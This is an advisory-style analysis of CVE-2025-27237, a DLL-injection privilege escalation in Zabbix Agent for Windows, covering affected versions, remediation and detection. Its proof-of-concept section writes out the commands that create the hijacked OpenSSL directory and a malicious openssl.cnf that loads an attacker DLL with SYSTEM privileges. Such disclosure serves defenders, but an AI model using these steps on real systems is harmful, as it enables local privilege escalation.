# CVE-2025-27237: Zabbix Agent OpenSSL DLL Injection Vulnerability ## Executive Summary A local privilege escalation vulnerability exists in Zabbix Agent and Agent 2 for Windows where the OpenSSL configuration file (`openssl.cnf`) is loaded from a path writable by low-privileged users. This allows an attacker to inject a malicious DLL that executes with SYSTEM privileges when the Zabbix Agent service restarts. ## CVE Details | Field | Value | |-------|-------| | **CVE ID** | CVE-2025-27237 | | **CVSS v4.0 Score** | 7.3 (HIGH) | | **CVSS Vector** | CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N | | **CWE** | CWE-427: Uncontrolled Search Path Element | | **Vendor Reference** | [ZBX-27061](https://support.zabbix.com/browse/ZBX-27061) | | **Reporter** | himbeer (via HackerOne) | | **Published** | October 3, 2025 | ## Affected Versions | Branch | Affected Versions | Fixed Version | |--------|-------------------|---------------| | 6.0 LTS | 6.0.0 - 6.0.40 | **6.0.41** | | 7.0 | 7.0.0 - 7.0.17 | **7.0.18** | | 7.2 | 7.2.0 - 7.2.11 | **7.2.12** | | 7.4 | 7.4.0 - 7.4.1 | **7.4.2** | ## Technical Analysis ### Vulnerability Confirmation We analyzed `zabbix_agent2-6.0.39-windows-i386-openssl-static.zip` and confirmed the vulnerability. #### Hardcoded OpenSSL Paths (extracted from binary) ``` OPENSSLDIR: "C:/vcpkg/downloads/tools/msys2/2db36fb050d01f45/etc/ssl" ENGINESDIR: "C:/vcpkg/installed/x86-mingw-static/lib/engines-3" MODULESDIR: "C:/vcpkg/installed/x86-mingw-static/lib/ossl-modules" ``` The `openssl.cnf` file is loaded from: ``` C:\vcpkg\downloads\tools\msys2\2db36fb050d01f45\etc\ssl\openssl.cnf ``` #### Proof of Vulnerability | Test | openssl.cnf Present | Error Message | |------|---------------------|---------------| | 1 | No | `cannot initialize default TLS context: ...no certificate or crl found` | | 2 | Yes (malicious) | `cannot initialize PRNG` | The change in error message proves the configuration file was parsed and the malicious provider directive was executed, breaking OpenSSL's PRNG initialization. ### Exploitation Requirements 1. **Local Access**: Attacker needs local user access to the Windows system 2. **Directory Creation**: Windows default permissions allow non-admin users to create directories at `C:\` root 3. **TLS Configuration**: Zabbix Agent must be configured with TLS (`TLSConnect=cert` or `TLSAccept=cert`) 4. **Service Restart**: Malicious DLL executes when Zabbix Agent service or system restarts ### Proof of Concept **Step 1: Create the directory structure** ```powershell mkdir "C:\vcpkg\downloads\tools\msys2\2db36fb050d01f45\etc\ssl" -Force ``` **Step 2: Create malicious openssl.cnf** ```ini openssl_conf = openssl_init [openssl_init] providers = provider_sect [provider_sect] malicious = malicious_sect [malicious_sect] module = C:\path\to\malicious.dll activate = 1 ``` **Step 3: Wait for service restart** When Zabbix Agent restarts, OpenSSL will load the configuration and attempt to load the specified DLL with SYSTEM privileges. ### Version Comparison | Version | OpenSSL | OPENSSLDIR Path | Exploitable | |---------|---------|-----------------|-------------| | 6.0.15 | 3.0.8 | `C:\Program Files (x86)\Common Files\SSL` (malformed) | Unlikely | | 6.0.39 | 3.4.1 | `C:/vcpkg/downloads/tools/msys2/2db36fb050d01f45/etc/ssl` | **Yes** | Note: Version 6.0.15 has malformed paths (missing backslashes) which may prevent exploitation. ## Remediation ### Immediate Actions 1. **Upgrade** to fixed versions: - 6.0.41+ for 6.0 LTS branch - 7.0.18+ for 7.0 branch - 7.2.12+ for 7.2 branch - 7.4.2+ for 7.4 branch 2. **Restart** the Zabbix Agent service after upgrade ### Workarounds No official workarounds exist. However, as a temporary measure: - Remove write permissions on `C:\vcpkg` if it exists - Monitor for directory creation at `C:\vcpkg` - Restrict local user access to affected systems ## Detection ### Check for Exploitation Attempts ```powershell # Check if the vulnerable path exists Test-Path "C:\vcpkg\downloads\tools\msys2\2db36fb050d01f45\etc\ssl\openssl.cnf" # Check directory creation time Get-Item "C:\vcpkg" -ErrorAction SilentlyContinue | Select-Object CreationTime ``` ### Binary Analysis Script Use the Python script `extract_openssl_paths.py` to analyze other Zabbix binaries: ```bash python extract_openssl_paths.py zabbix_agent2*.exe ``` ## References - [NVD - CVE-2025-27237](https://nvd.nist.gov/vuln/detail/CVE-2025-27237) - [Zabbix Support - ZBX-27061](https://support.zabbix.com/browse/ZBX-27061) - [GitHub Advisory - GHSA-r6x3-vwpm-5vwg](https://github.com/advisories/GHSA-r6x3-vwpm-5vwg) - [SecurityOnline Analysis](https://securityonline.info/cve-2025-27237-zabbix-agent-flaw-allows-local-privilege-escalation-via-openssl-dll-injection/) - [The Cyber Express](https://thecyberexpress.com/zabbix-agent-cve-2025-27237/) - [Wiz Vulnerability Database](https://www.wiz.io/vulnerability-database/cve/cve-2025-27237) - [GBHackers Analysis](https://gbhackers.com/zabbix-agent-agent2-for-windows-vulnerability/) - [SC Media](https://www.scworld.com/brief/zabbix-security-flaw-affects-windows-agents) ## Timeline | Date | Event | |------|-------| | Unknown | Vulnerability discovered by himbeer via HackerOne | | 2025-10-03 | CVE-2025-27237 published | | 2025-10-06 | NVD entry last modified | | 2026-01-26 | Independent verification and analysis completed | --- *Analysis performed on 2026-01-26*